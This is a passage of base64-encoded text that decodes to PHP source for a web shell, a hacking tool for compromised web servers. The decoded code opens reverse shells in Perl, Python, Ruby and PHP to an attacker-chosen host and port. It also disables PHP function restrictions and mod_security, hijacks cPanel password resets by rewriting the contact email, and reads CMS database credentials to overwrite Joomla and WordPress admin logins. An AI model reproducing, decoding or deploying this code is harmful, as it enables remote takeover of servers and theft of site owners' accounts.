1SWlrN0RRcHZjR1Z1S0ZOVVJFbE9MQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVQxVlVMQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVJWSlNMQ0FpUGlaVFQwTkxSVlFpS1RzTkNuTjVjM1JsYlNnbkwySnBiaTl6YUNBdGFTY3BPdzBLWTJ4dmMyVW9VMVJFU1U0cE93MEtZMnh2YzJVb1UxUkVUMVZVS1RzTkNtTnNiM05sS0ZOVVJFVlNVaWs3Iik7DQoJCSRwbGJjID0gQGZvcGVuKCdiYy5wbCcsJ3cnKTsNCgkJZndyaXRlKCRwbGJjLCRiYyk7DQoJCSRvdXQgPSBleGUoInBlcmwgYmMucGwgIi4kX1BPU1RbJ3NlcnZlciddLiIgIi4kX1BPU1RbJ3BvcnQnXS4iIDE+L2Rldi9udWxsIDI+JjEgJiIpOw0KCQlzbGVlcCgxKTsNCgkJZWNobyAiPHByZSBjbGFzcz0ndGV4dC1saWdodCc+JG91dFxuIi5leGUoInBzIGF1eCB8IGdyZXAgYmMucGwiKS4iPC9wcmU+IjsNCgkJdW5saW5rKCJiYy5wbCIpOw0KCX0NCglpZigkX1BPU1RbJ2JhY2tjb25uZWN0J10gPT0gJ3B5dGhvbicpew0KCQkkYmVjYWEgPSBiYXNlNjRfZGVjb2RlKCJJeUV2ZFhOeUwySnBiaTl3ZVhSb2IyNE5DaU5WYzJGblpUb2djSGwwYUc5dUlHWnBiR1Z1WVcxbExuQjVJRWhQVTFRZ1VFOVNWQTBLYVcxd2IzSjBJSE41Y3l3Z2MyOWphMlYwTENCdmN5d2djM1ZpY0hKdlkyVnpjdzBLYVhCc2J5QTlJSE41Y3k1aGNtZDJXekZkRFFwd2IzSjBiRzhnUFNCcGJuUW9jM2x6TG1GeVozWmJNbDBwRFFwemIyTnJaWFF1YzJWMFpHVm1ZWFZzZEhScGJXVnZkWFFvTmpBcERRcGtaV1lnY0hsaVlXTnJZMjl1Ym1WamRDZ3BPZzBLSUNCMGNuazZEUW9nSUNBZ2FtMWlJRDBnYzI5amEyVjBMbk52WTJ0bGRDaHpiMk5yWlhRdVFVWmZTVTVGVkN4emIyTnJaWFF1VTA5RFMxOVRWRkpGUVUwcERRb2dJQ0FnYW0xaUxtTnZibTVsWTNRb0tHbHdiRzhzY0c5eWRHeHZLU2tOQ2lBZ0lDQnFiV0l1YzJWdVpDZ25KeWRjYmxCNWRHaHZiaUJDWVdOclEyOXVibVZqZENCQ2VTQk5jaTU0UW1GeVlXdDFaR0ZjYmxSb1lXNXJjeUJIYjI5bmJHVWdSbTl5SUZKbFptVnlaVzV6YVZ4dVhHNG5KeWNwRFFvZ0lDQWdiM011WkhWd01paHFiV0l1Wm1sc1pXNXZLQ2tzTUNrTkNpQWdJQ0J2Y3k1a2RYQXlLR3B0WWk1bWFXeGxibThvS1N3eEtRMEtJQ0FnSUc5ekxtUjFjRElvYW0xaUxtWnBiR1Z1YnlncExESXBEUW9nSUNBZ2IzTXVaSFZ3TWlocWJXSXVabWxzWlc1dktDa3NNeWtOQ2lBZ0lDQnphR1ZzYkNBOUlITjFZbkJ5YjJObGMzTXVZMkZzYkNoYklpOWlhVzR2YzJnaUxDSXRhU0pkS1EwS0lDQmxlR05sY0hRZ2MyOWphMlYwTG5ScGJXVnZkWFE2RFFvZ0lDQWdjSEpwYm5RZ0lsUnBiVTkxZENJTkNpQWdaWGhqWlhCMElITnZZMnRsZEM1bGNuSnZjaXdnWlRvTkNpQWdJQ0J3Y21sdWRDQWlSWEp5YjNJaUxDQmxEUXB3ZVdKaFkydGpiMjV1WldOMEtDaz0iKTsNCgkJJHBiY2FhID0gQGZvcGVuKCdiY3B5dC5weScsJ3cnKTsNCgkJZndyaXRlKCRwYmNhYSwkYmVjYWEpOw0KCQkkb3V0MSA9IGV4ZSgicHl0aG9uIGJjcHl0LnB5ICIuJF9QT1NUWydzZXJ2ZXInXS4iICIuJF9QT1NUWydwb3J0J10pOw0KCQlzbGVlcCgxKTsNCgkJZWNobyAiPHByZSBjbGFzcz0ndGV4dC1saWdodCc+JG91dDFcbiIuZXhlKCJwcyBhdXggfCBncmVwIGJjcHl0LnB5IikuIjwvcHJlPiI7DQoJCXVubGluaygiYmNweXQucHkiKTsNCgl9DQoJaWYoJF9QT1NUWydiYWNrY29ubmVjdCddID09ICdydWJ5Jyl7DQoJCSRiZWNhYWsgPSBiYXNlNjRfZGVjb2RlKCJJeUV2ZFhOeUwySnBiaTlsYm5ZZ2NuVmllUTBLSXlCa1pYWnBiSHBqTUdSbExtOXlaeUFvWXlrZ01qQXhNZzBLSXcwS0l5QmlhVzVrSUdGdVpDQnlaWFpsY25ObElITm9aV3hzRFFvaklHSXpOelJyRFFweVpYRjFhWEpsSUNkemIyTnJaWFFuRFFweVpYRjFhWEpsSUNkd1lYUm9ibUZ0WlNjTkNnMEtaR1ZtSUhWellXZGxEUW9KY0hKcGJuUWdJbUpwYm1RZ09seHlYRzRnSUhKMVlua2dJaUFySUVacGJHVXVZbUZ6Wlc1aGJXVW9YMTlHU1V4RlgxOHBJQ3NnSWlCYmNHOXlkRjFjY2x4dUlnMEtDWEJ5YVc1MElDSnlaWFpsY25ObElEcGNjbHh1SUNCeWRXSjVJQ0lnS3lCR2FXeGxMbUpoYzJWdVlXMWxLRjlmUmtsTVJWOWZLU0FySUNJZ1czQnZjblJkSUZ0b2IzTjBYVnh5WEc0aURRcGxibVFOQ2cwS1pHVm1JSE4xWTJ0ekRRb0pjM1ZqYTNNZ1BTQm1ZV3h6WlEwS0NXbG1JRkpWUWxsZlVFeEJWRVpQVWswdVpHOTNibU5oYzJVdWJXRjBZMmdvSjIxemQybHVmSGRwYm54dGFXNW5keWNwRFFvSkNYTjFZMnR6SUQwZ2RISjFaUTBLQ1dWdVpBMEtDWEpsZEhWeWJpQnpkV05yY3cwS1pXNWtEUW9OQ21SbFppQnlaV0ZzY0dGMGFDaHpkSElwRFFvSmNtVmhiQ0E5SUhOMGNnMEtDV2xtSUVacGJHVXVaWGhwYzNSelB5aHpkSElwRFFvSkNXUWdQU0JRWVhSb2JtRnRaUzV1Wlhjb2MzUnlLUTBLQ1FseVpXRnNJRDBnWkM1eVpXRnNjR0YwYUM1MGIxOXpEUW9KWlc1a0RRb0phV1lnYzNWamEzTU5DZ2tKY21WaGJDQTlJSEpsWVd3dVozTjFZaWd2WEM4dkxDSmNYQ0lwRFFvSlpXNWtEUW9KY21WMGRYSnVJSEpsWVd3TkNtVnVaQTBLRFFwcFppQkJVa2RXTG14bGJtZDBhQ0E5UFNBeERRb0phV1lnUVZKSFZsc3dYU0E5ZmlBdlhsc3dMVGxkZXpFc05YMGtMdzBLQ1Fsd2IzSjBJRDBnU1c1MFpXZGxjaWhCVWtkV1d6QmRLUTBLQ1dWc2MyVU5DZ2tKZFhOaFoyVU5DZ2tKY0hKcGJuUWdJbHh5WEc0cUtpb2daWEp5YjNJZ09pQlFiR1ZoYzJVZ2FXNXdkWFFnWVNCMllXeHBaQ0J3YjNKMFhISmNiaUlOQ2drSlpYaHBkQTBLQ1dWdVpBMEtDWE5sY25abGNpQTlJRlJEVUZObGNuWmxjaTV1Wlhjb0lpSXNJSEJ2Y25RcERRb0pjeUE5SUhObGNuWmxjaTVoWTJObGNIUU5DZ2x3YjNKMElEMGdjeTV3WldWeVlXUmtjbHN4WFEwS0NXNWhiV1VnUFNCekxuQmxaWEpoWkdSeVd6SmREUW9KY3k1d2NtbHVkQ0FpS2lvcUlHTnZibTVsWTNSbFpGeHlYRzRpRFFvSmNIVjBjeUFpS2lvcUlHTnZibTVsWTNSbFpDQTZJQ043Ym1GdFpYMDZJM3R3YjNKMGZWeHlYRzRpRFFvSlltVm5hVzROQ2drSmFXWWdibTkwSUhOMVkydHpEUW9KQ1FsbUlEMGdjeTUwYjE5cERRb0pDUWxsZUdWaklITndjbWx1ZEdZb0lpOWlhVzR2YzJnZ0xXa2dYRHhjSmlWa0lGdytYQ1lsWkNBeVhENWNKaVZrSWl4bUxHWXNaaWtOQ2drSlpXeHpaUTBLQ1FrSmN5NXdjbWx1ZENBaVhISmNiaUlnS3lCeVpXRnNjR0YwYUNnaUxpSXBJQ3NnSWo0aURRb0pDUWwzYUdsc1pTQnNhVzVsSUQwZ2N5NW5aWFJ6RFFvSkNRa0pjbUZwYzJVZ1pYSnliM0pDY204Z2FXWWdiR2x1WlNBOWZpQXZYbVJwWlZ4eVB5UXZEUW9KQ1FrSmFXWWdibTkwSUd4cGJtVXVZMmh2YlhBZ1BUMGdJaUlOQ2drSkNRa0phV1lnYkdsdVpTQTlmaUF2WTJRZ0xpb3ZhUTBLQ1FrSkNRa0piR2x1WlNBOUlHeHBibVV1WjNOMVlpZ3ZZMlFnTDJrc0lDY25LUzVqYUc5dGNBMEtDUWtKQ1FrSmFXWWdSbWxzWlM1a2FYSmxZM1J2Y25rL0tHeHBibVVwRFFvSkNRa0pDUWtKYkdsdVpTQTlJSEpsWVd4d1lYUm9LR3hwYm1VcERRb0pDUWtKQ1FrSlJHbHlMbU5vWkdseUtHeHBibVVwRFFvSkNRa0pDUWxsYm1RTkNna0pDUWtKQ1hNdWNISnBiblFnSWx4eVhHNGlJQ3NnY21WaGJIQmhkR2dvSWk0aUtTQXJJQ0krSWcwS0NRa0pDUWxsYkhOcFppQnNhVzVsSUQxK0lDOWNkem91S2k5cERRb0pDUWtKQ1FscFppQkdhV3hsTG1ScGNtVmpkRzl5ZVQ4b2JHbHVaUzVqYUc5dGNDa05DZ2tKQ1FrSkNRbEVhWEl1WTJoa2FYSW9iR2x1WlM1amFHOXRjQ2tOQ2drSkNRa0pDV1Z1WkEwS0NRa0pDUWtKY3k1d2NtbHVkQ0FpWEhKY2JpSWdLeUJ5WldGc2NHRjBhQ2dpTGlJcElDc2dJajRpRFFvSkNRa0pDV1ZzYzJVTkNna0pDUWtKQ1VsUExuQnZjR1Z1S0d4cGJtVXNJbklpS1h0OGFXOThjeTV3Y21sdWRDQnBieTV5WldGa0lDc2dJbHh5WEc0aUlDc2djbVZoYkhCaGRHZ29JaTRpS1NBcklDSStJbjBOQ2drSkNRa0paVzVrRFFvSkNRa0paVzVrRFFvSkNRbGxibVFOQ2drSlpXNWtEUW9KY21WelkzVmxJR1Z5Y205eVFuSnZEUW9KQ1hCMWRITWdJaW9xS2lBamUyNWhiV1Y5T2lON2NHOXlkSDBnWkdselkyOXVibVZqZEdWa0lnMEtDV1Z1YzNWeVpRMEtDUWx6TG1Oc2IzTmxEUW9KQ1hNZ1BTQnVhV3dOQ2dsbGJtUU5DbVZzYzJsbUlFRlNSMVl1YkdWdVozUm9JRDA5SURJTkNnbHBaaUJCVWtkV1d6QmRJRDErSUM5ZVd6QXRPVjE3TVN3MWZTUXZEUW9KQ1hCdmNuUWdQU0JKYm5SbFoyVnlLRUZTUjFaYk1GMHBEUW9KQ1dodmMzUWdQU0JCVWtkV1d6RmREUW9KWld4emFXWWdRVkpIVmxzeFhTQTlmaUF2WGxzd0xUbGRlekVzTlgwa0x3MEtDUWx3YjNKMElEMGdTVzUwWldkbGNpaEJVa2RXV3pGZEtRMEtDUWxvYjNOMElEMGdRVkpIVmxzd1hRMEtDV1ZzYzJVTkNna0pkWE5oWjJVTkNna0pjSEpwYm5RZ0lseHlYRzRxS2lvZ1pYSnliM0lnT2lCUWJHVmhjMlVnYVc1d2RYUWdZU0IyWVd4cFpDQndiM0owWEhKY2JpSU5DZ2tKWlhocGRBMEtDV1Z1WkEwS0NYTWdQU0JVUTFCVGIyTnJaWFF1Ym1WM0tDSWplMmh2YzNSOUlpd2djRzl5ZENrTkNnbHdiM0owSUQwZ2N5NXdaV1Z5WVdSa2Nsc3hYUTBLQ1c1aGJXVWdQU0J6TG5CbFpYSmhaR1J5V3pKZERRb0pjeTV3Y21sdWRDQWlLaW9xSUdOdmJtNWxZM1JsWkZ4eVhHNGlEUW9KY0hWMGN5QWlLaW9xSUdOdmJtNWxZM1JsWkNBNklDTjdibUZ0WlgwNkkzdHdiM0owZlNJTkNnbGlaV2RwYmcwS0NRbHBaaUJ1YjNRZ2MzVmphM01OQ2drSkNXWWdQU0J6TG5Sdlgya05DZ2tKQ1dWNFpXTWdjM0J5YVc1MFppZ2lMMkpwYmk5emFDQXRhU0JjUEZ3bUpXUWdYRDVjSmlWa0lESmNQbHdtSldRaUxDQm1MQ0JtTENCbUtRMEtDUWxsYkhObERRb0pDUWx6TG5CeWFXNTBJQ0pjY2x4dUlpQXJJSEpsWVd4d1lYUm9LQ0l1SWlrZ0t5QWlQaUlOQ2drSkNYZG9hV3hsSUd4cGJtVWdQU0J6TG1kbGRITU5DZ2tKQ1FseVlXbHpaU0JsY25KdmNrSnlieUJwWmlCc2FXNWxJRDErSUM5ZVpHbGxYSEkvSkM4TkNna0pDUWxwWmlCdWIzUWdiR2x1WlM1amFHOXRjQ0E5UFNBaUlnMEtDUWtKQ1FscFppQnNhVzVsSUQxK0lDOWpaQ0F1S2k5cERRb0pDUWtKQ1Fsc2FXNWxJRDBnYkdsdVpTNW5jM1ZpS0M5alpDQXZhU3dnSnljcExtTm9iMjF3RFFvSkNRa0pDUWxwWmlCR2FXeGxMbVJwY21WamRHOXllVDhvYkdsdVpTa05DZ2tKQ1FrSkNRbHNhVzVsSUQwZ2NtVmhiSEJoZEdnb2JHbHVaU2tOQ2drSkNRa0pDUWxFYVhJdVkyaGthWElvYkdsdVpTa05DZ2tKQ1FrSkNXVnVaQTBLQ1FrSkNRa0pjeTV3Y21sdWRDQWlYSEpjYmlJZ0t5QnlaV0ZzY0dGMGFDZ2lMaUlwSUNzZ0lqNGlEUW9KQ1FrSkNXVnNjMmxtSUd4cGJtVWdQWDRnTDF4M09pNHFMMmtOQ2drSkNRa0pDV2xtSUVacGJHVXVaR2x5WldOMGIzSjVQeWhzYVc1bExtTm9iMjF3S1EwS0NRa0pDUWtKQ1VScGNpNWphR1JwY2loc2FXNWxMbU5vYjIxd0tRMEtDUWtKQ1FrSlpXNWtEUW9KQ1FrSkNRbHpMbkJ5YVc1MElDSmNjbHh1SWlBcklISmxZV3h3WVhSb0tDSXVJaWtnS3lBaVBpSU5DZ2tKQ1FrSlpXeHpaUTBLQ1FrSkNRa0pTVTh1Y0c5d1pXNG9iR2x1WlN3aWNpSXBlM3hwYjN4ekxuQnlhVzUwSUdsdkxuSmxZV1FnS3lBaVhISmNiaUlnS3lCeVpXRnNjR0YwYUNnaUxpSXBJQ3NnSWo0aWZRMEtDUWtKQ1FsbGJtUU5DZ2tKQ1FsbGJtUU5DZ2tKQ1dWdVpBMEtDUWxsYm1RTkNnbHlaWE5qZFdVZ1pYSnliM0pDY204TkNna0pjSFYwY3lBaUtpb3FJQ043Ym1GdFpYMDZJM3R3YjNKMGZTQmthWE5qYjI1dVpXTjBaV1FpRFFvSlpXNXpkWEpsRFFvSkNYTXVZMnh2YzJVTkNna0pjeUE5SUc1cGJBMEtDV1Z1WkEwS1pXeHpaUTBLQ1hWellXZGxEUW9KWlhocGRBMEtaVzVrIik7DQoJCSRwYmNhYWsgPSBAZm9wZW4oJ2JjcnVieS5yYicsJ3cnKTsNCgkJZndyaXRlKCRwYmNhYWssJGJlY2Fhayk7DQoJCSRvdXQyID0gZXhlKCJydWJ5IGJjcnVieS5yYiAiLiRfUE9TVFsnc2VydmVyJ10uIiAiLiRfUE9TVFsncG9ydCddKTsNCgkJc2xlZXAoMSk7DQoJCWVjaG8gIjxwcmUgY2xhc3M9J3RleHQtbGlnaHQnPiRvdXQyXG4iLmV4ZSgicHMgYXV4IHwgZ3JlcCBiY3J1YnkucmIiKS4iPC9wcmU+IjsNCgkJdW5saW5rKCJiY3J1YnkucmIiKTsNCgl9DQoJaWYoJF9QT1NUWydiYWNrY29ubmVjdCddID09ICdwaHAnKXsNCgkJJGlwID0gJF9QT1NUWydzZXJ2ZXInXTsNCgkJJHBvcnQgPSAkX1BPU1RbJ3BvcnQnXTsNCgkJJHNvY2tmZCA9IGZzb2Nrb3BlbigkaXAgLCAkcG9ydCAsICRlcnJubywgJGVycnN0ciApOw0KCQlpZigkZXJybm8gIT0gMCl7DQoJCQllY2hvICI8Zm9udCBjb2xvcj0ncmVkJz4kZXJybm8gOiAkZXJyc3RyPC9mb250PiI7DQoJCX1lbHNlIGlmICghJHNvY2tmZCl7DQoJCQkkcmVzdWx0ID0gIjxwPlVuZXhwZWN0ZWQgRXJyb3IgaGFzIG9jY3VyZWQsIGNvbm5lY3Rpb24gbWF5IGhhdmUgZmFpbGVkLjwvcD4iOw0KCQl9ZWxzZXsNCgkJCWZwdXRzICgkc29ja2ZkICwiDQoJCQlcbnsjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyN9DQoJCQlcbi4uOjogQmFja0Nvbm5lY3QgUEhQIEJ5IEFuZ2tvbFZlbiA6Oi4uDQoJCQlcbnsjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyN9XG4iKTsNCgkJCSRkaXIgPSBAc2hlbGxfZXhlYygicHdkIik7DQoJCQkkc3lzaW5mbyA9IEBzaGVsbF9leGVjKCJ1bmFtZSAtYSIpOw0KCQkJJHRpbWUgPSBAU2hlbGxfZXhlYygidGltZSIpOw0KCQkJJGxlbiA9IDEzMzc7DQoJCQlmcHV0cygkc29ja2ZkLCAiVXNlciAiLCAkc3lzaW5mbywgImNvbm5lY3RlZCBAICIsICR0aW1lLCAiXG5cbiIpOw0KCQkJd2hpbGUoIWZlb2YoJHNvY2tmZCkpew0KCQkJCSRjbWRQcm9tcHQgPSAnW2t1ZGFdIzo+ICc7DQoJCQkJQGZwdXRzICgkc29ja2ZkICwgJGNtZFByb21wdCApOw0KCQkJCSRjb21tYW5kPSBmZ2V0cygkc29ja2ZkLCAkbGVuKTsNCgkJCQlAZnB1dHMoJHNvY2tmZCAsICJcbiIgLiBAc2hlbGxfZXhlYygkY29tbWFuZCkgLiAiXG5cbiIpOw0KCQkJfQ0KCQkJQGZjbG9zZSgkc29ja2ZkKTsNCgkJfQ0KCX0NCglleGl0Ow0KfQ0KZnVuY3Rpb24gZGlzYWJGdW5jKCRkaXIsJGZpbGUpew0KCWVjaG8gIjxkaXYgY2xhc3M9J2NhcmQgY2FyZC1ib2R5IHRleHQtY2VudGVyIHRleHQtZGFyayc+DQoJCTxoNCBjbGFzcz0ndGV4dC1jZW50ZXIgbXQtMiBtYi0zJz5CeXBhc3MgRGlzYWJsZSBGdW5jdGlvbnM8L2gyPg0KCQk8Zm9ybSBtZXRob2Q9J1BPU1QnPg0KCQkJPGlucHV0IHR5cGU9J3N1Ym1pdCcgY2xhc3M9J2J0biBidG4tZGFuZ2VyJyBuYW1lPSdpbmknIHZhbHVlPSdwaHAuaW5pJy8+DQoJCQk8aW5wdXQgdHlwZT0nc3VibWl0JyBjbGFzcz0nYnRuIGJ0bi1kYW5nZXInIG5hbWU9J2h0Y2UnIHZhbHVlPScuaHRhY2Nlc3MnLz4NCgkJCTxpbnB1dCB0eXBlPSdzdWJtaXQnIGNsYXNzPSdidG4gYnRuLWRhbmdlcicgbmFtZT0nbGl0aW5pJyB2YWx1ZT0nTGl0ZXNwZWVkJy8+DQoJCTwvZm9ybT4iOw0KCQlpZihpc3NldCgkX1BPU1RbJ2luaSddKSl7DQoJCQkkZmlsZSA9IGZvcGVuKCJwaHAuaW5pIiwidyIpOw0KCQkJZWNobyBmd3JpdGUoJGZpbGUsInNhZmVfbW9kZSA9IE9GRlxuZGlzYWJsZV9mdW5jdGlvbnMgPSBOT05FIik7DQoJCQlmY2xvc2UoJGZpbGUpOw0KCQkJZWNobyAiPGEgaHJlZj0ncGhwLmluaScgY2xhc3M9J2J0biBidG4tU3VjY2VzcyBidG4tYmxvY2snIHRhcmdldD0nX2JsYW5rJz5LbGlrIENvZWchPC9hPiI7DQoJCX1lbHNlaWYoaXNzZXQoJF9QT1NUWydodGNlJ10pKXsNCgkJCSRmaWxlID0gZm9wZW4oIi5odGFjY2VzcyIsInciKTsNCgkJCWVjaG8gZndyaXRlKCRmaWxlLCI8SWZNb2R1bGUgbW9kX3NlY3VyaXR5LmM+XG5TZWNGaWx0ZXJFbmdpbmUgT2ZmXG5TZWNGaWx0ZXJTY2FuUE9TVCBPZmZcbjwvSWZNb2R1bGU+Iik7DQoJCQlmY2xvc2UoJGZpbGUpOw0KCQkJZWNobyAiPHA+Lmh0YWNjZXNzIFN1Y2Nlc3NmdWxseSBjcmVhdGVkITwvcD4iOw0KCQl9ZWxzZWlmKGlzc2V0KCRfUE9TVFsnbGl0aW5pJ10pKXsNCgkJCSRpbmlwaCA9ICJQRDhnWldOb2J5QnBibWxmWjJWMEtDSnpZV1psWDIxdlpHVWlLVHNOQ21WamFHOGdhVzVwWDJkbGRDZ2liM0JsYmw5aVlYTmxaR2x5SWlrN0RRcGxZMmh2SUdsdVkyeDFaR1VvSkY5SFJWUmJJbVpwYkdVaVhTazdEUXBsWTJodklHbHVhVjl5WlhOMGIzSmxLQ0p6WVdabFgyMXZaR1VpS1RzTkNtVmphRzhnYVc1cFgzSmxjM1J2Y21Vb0ltOXdaVzVmWW1GelpXUnBjaUlwT3cwS1pXTm9ieUJwYm1sZloyVjBLQ0p6WVdabFgyMXZaR1VpS1RzTkNtVmphRzhnYVc1cFgyZGxkQ2dpYjNCbGJsOWlZWE5sWkdseUlpazdEUXBsWTJodklHbHVZMngxWkdVb0pGOUhSVlJiSW5OeklsMDdEUW8vUGc9PSI7DQoJCQkkYnlwaCA9ICJzYWZlX21vZGUgPSBPRkZcbmRpc2FibGVfZnVuY3Rpb25zID0gTk9ORSI7DQoJCQkkY29tcCA9ICI8RmlsZXMgKi5waHA+XG5Gb3JjZVR5cGUgYXBwbGljYXRpb24veC1odHRwZC1waHA0XG48L0ZpbGVzPiI7DQoJCQlmaWxlX3B1dF9jb250ZW50cygicGhwLmluaSIsJGJ5cGgpOw0KCQkJZmlsZV9wdXRfY29udGVudHMoImluaS5waHAiLCRpbmlwaCk7DQoJCQlmaWxlX3B1dF9jb250ZW50cygiLmh0YWNjZXNzIiwkY29tcCk7DQoJCQkkc3dhID0gIlN1Y2Nlc3MiOw0KCQkJJHRleHQgPSAiRGlzYWJsZSBGdW5jdGlvbnMgaW4gTGl0ZXNwZWVkIENyZWF0ZWQiOw0KCQkJc3dhbGwoJHN3YSwkdGV4dCwkZGlyKTsNCgkJfQ0KCWVjaG8gIjwvZGl2PiI7DQp9DQpmdW5jdGlvbiByZXNldENwKCRkaXIpew0KCWVjaG8gJzxoNSBjbGFzcz0idGV4dC1jZW50ZXIgbWItNCI+PGkgY2xhc3M9ImZhIGZhLWtleSI+PC9pPiBBdXRvIFJlc2V0IFBhc3N3b3JkIENwYW5lbDwvaDU+DQoJPGZvcm0gbWV0aG9kPSJQT1NUIj4NCgkJPGRpdiBjbGFzcz0iZm9ybS1ncm91cCBpbnB1dC1ncm91cCI+DQoJCQk8ZGl2IGNsYXNzPSJpbnB1dC1ncm91cC1wcmVwZW5kIj4NCgkJCQk8ZGl2IGNsYXNzPSJpbnB1dC1ncm91cC10ZXh0Ij48aSBjbGFzcz0iZmEgZmEtZW52ZWxvcGUiPjwvaT48L2Rpdj4NCgkJCQk8L2Rpdj4NCgkJCQk8aW5wdXQgdHlwZT0iZW1haWwiIG5hbWU9ImVtYWlsIiBjbGFzcz0iZm9ybS1jb250cm9sIiBwbGFjZWhvbGRlcj0iWW91ciBFbWFpbCIvPg0KCQkJPC9kaXY+DQoJCQk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhbmdlciBidG4tYmxvY2siIHZhbHVlPSJTZW5kIi8+DQoJCTwvZGl2Pg0KCTwvZm9ybT4nOw0KCWlmKGlzc2V0KCRfUE9TVFsnc3VibWl0J10pKXsNCgkJJHVzZXIgPSBnZXRfY3VycmVudF91c2VyKCk7DQoJCSRzaXRlID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOw0KCQkkaXBzID0gZ2V0ZW52KCdSRU1PVEVfQUREUicpOw0KCQkkZW1haWwgPSAkX1BPU1RbJ2VtYWlsJ107DQoJCSR3ciA9ICdlbWFpbDonLiRlbWFpbDsNCgkJJGYgPSBmb3BlbignL2hvbWUvJy4kdXNlci4nLy5jcGFuZWwvY29udGFjdGluZm8nLCAndycpOw0KCQlAZndyaXRlKCRmLCAkd3IpOyANCgkJQGZjbG9zZSgkZik7DQoJCSRmID0gZm9wZW4oJy9ob21lLycuJHVzZXIuJy8uY29udGFjdGluZm8nLCAndycpOw0KCQlAZndyaXRlKCRmLCAkd3IpOyANCgkJQGZjbG9zZSgkZik7DQoJCSRwYXJtID0gJHNpdGUuJzoyMDgyL3Jlc2V0cGFzcz9zdGFydD0xJzsNCgkJZWNobyAnPGJyLz5Vcmw6ICcuJHBhcm0uJyc7DQoJCWVjaG8gJzxici8+VXNlcm5hbWU6ICcuJHVzZXIuJyc7DQoJCWVjaG8gJzxici8+U3VjY2VzcyBSZXNldCBUbzogJy4kZW1haWwuJzxici8+PGJyLz4nOw0KCX0NCglleGl0Ow0KfQ0KZnVuY3Rpb24gYXV0b0VkaXQoJGRpciwkZmlsZSl7DQoJaWYoJF9QT1NUWydoYWphciddKXsNCgkJaWYoc3RybGVuKCRfUE9TVFsncGFzc19iYXJ1J10pIDwgNiBPUiBzdHJsZW4oJF9QT1NUWyd1c2VyX2JhcnUnXSkgPCA2KXsNCgkJCWVjaG8gIlVzZXJuYW1lIGRhbiBQYXNzd29yZCBoYXJ1cyBsZWJpaCBkYXJpIDYga2FyYWt0ZXIiOw0KCQl9ZWxzZXsNCgkJCSR1c2VyX2JhcnUgPSAkX1BPU1RbJ3VzZXJfYmFydSddOw0KCQkJJHBhc3NfYmFydSA9IG1kNSgkX1BPU1RbJ3Bhc3NfYmFydSddKTsNCgkJCSRjb25mID0gJF9QT1NUWydjb25maWdfZGlyJ107DQoJCQkkc2Nhbl9jb25mID0gc2NhbmRpcigkY29uZik7DQoJCQlmb3JlYWNoKCRzY2FuX2NvbmYgYXMgJGZpbGVfY29uZil7DQoJCQkJaWYoIWlzX2ZpbGUoIiRjb25mLyRmaWxlX2NvbmYiKSkgY29udGludWU7DQoJCQkJJGNvbmZpZyA9IGZpbGVfZ2V0X2NvbnRlbnRzKCIkY29uZi8kZmlsZV9jb25mIik7DQoJCQkJaWYocHJlZ19tYXRjaCgiL0pDb25maWd8am9vbWxhLyIsJGNvbmZpZykpew0KCQkJCQkkZGJob3N0ID0gYW1iaWxrYXRhKCRjb25maWcsImhvc3QgPSAnIiwiJyIpOw0KCQkJCQkkZGJ1c2VyID0gYW1iaWxrYXRhKCRjb25maWcsInVzZXIgPSAnIiwiJyIpOw0KCQkJCQkkZGJwYXNzID0gYW1iaWxrYXRhKCRjb25maWcsInBhc3N3b3JkID0gJyIsIiciKTsNCgkJCQkJJGRibmFtZSA9IGFtYmlsa2F0YSgkY29uZmlnLCJkYiA9ICciLCInIik7DQoJCQkJCSRkYnByZWZpeCA9IGFtYmlsa2F0YSgkY29uZmlnLCJkYnByZWZpeCA9ICciLCInIik7DQoJCQkJCSRwcmVmaXggPSAkZGJwcmVmaXguInVzZXJzIjsNCgkJCQkJJGNvbm4gPSBteXNxbF9jb25uZWN0KCRkYmhvc3QsJGRidXNlciwkZGJwYXNzKTsNCgkJCQkJJGRiID0gbXlzcWxfc2VsZWN0X2RiKCRkYm5hbWUpOw0KCQkJCQkkcSA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NICRwcmVmaXggT1JERVIgQlkgaWQgQVNDIik7DQoJCQkJCSRyZXN1bHQgPSBteXNxbF9mZXRjaF9hcnJheSgkcSk7DQoJCQkJCSRpZCA9ICRyZXN1bHRbJ2lkJ107DQoJCQkJCSRzaXRlID0gYW1iaWxrYXRhKCRjb25maWcsInNpdGVuYW1lID0gJyIsIiciKTsNCgkJCQkJJHVwZGF0ZSA9IG15c3FsX3F1ZXJ5KCJVUERBVEUgJHByZWZpeCBTRVQgdXNlcm5hbWU9JyR1c2VyX2JhcnUnLHBhc3N3b3JkPSckcGFzc19iYXJ1JyBXSEVSRSBpZD0nJGlkJyIpOw0KCQkJCQllY2hvICJDb25maWcgPT4gIi4kZmlsZV9jb25mLiI8YnI+IjsNCgkJCQkJZWNobyAiQ01TID0+IEpvb21sYTxicj4iOw0KCQkJCQlpZigkc2l0ZSA9PSAnJyl7DQoJCQkJCQllY2hvICJTaXRlbmFtZSA9PiA8Zm9udCBjb2xvcj1yZWQ+RXJyb3IsIENhbid0IHRha2UgdGhlIGRvbWFpbiBuYW1lPC9mb250Pjxicj4iOw0KCQkJCQl9ZWxzZXsNCgkJCQkJCWVjaG8gIlNpdGVuYW1lID0+ICRzaXRlPGJyPiI7DQoJCQkJCX0NCgkJCQkJaWYoISR1cGRhdGUgT1IgISRjb25uIE9SICEkZGIpew0KCQkJCQkJZWNobyAiU3RhdHVzID0+IDxmb250IGNvbG9yPXJlZD4iLm15c3FsX0Vycm9yKCkuIjwvZm9udD48YnI+PGJyPiI7DQoJCQkJCX1lbHNlew0KCQkJCQkJZWNobyAiU3RhdHVzID0+IDxmb250IGNvbG9yPWxpbWU+U3VjY2VzcywgUGxlYXNlIGxvZ2luIHdpdGggYSBuZXcgVXNlciAmIFBhc3N3b3JkLjwvZm9udD48YnI+PGJyPiI7DQoJCQkJCX0NCgkJCQkJbXlzcWxfY2xvc2UoJGNvbm4pOw0KCQkJCX1lbHNlaWYocHJlZ19tYXRjaCgiL1dvcmRQcmVzcy8iLCRjb25maWcpKXsNCgkJCQk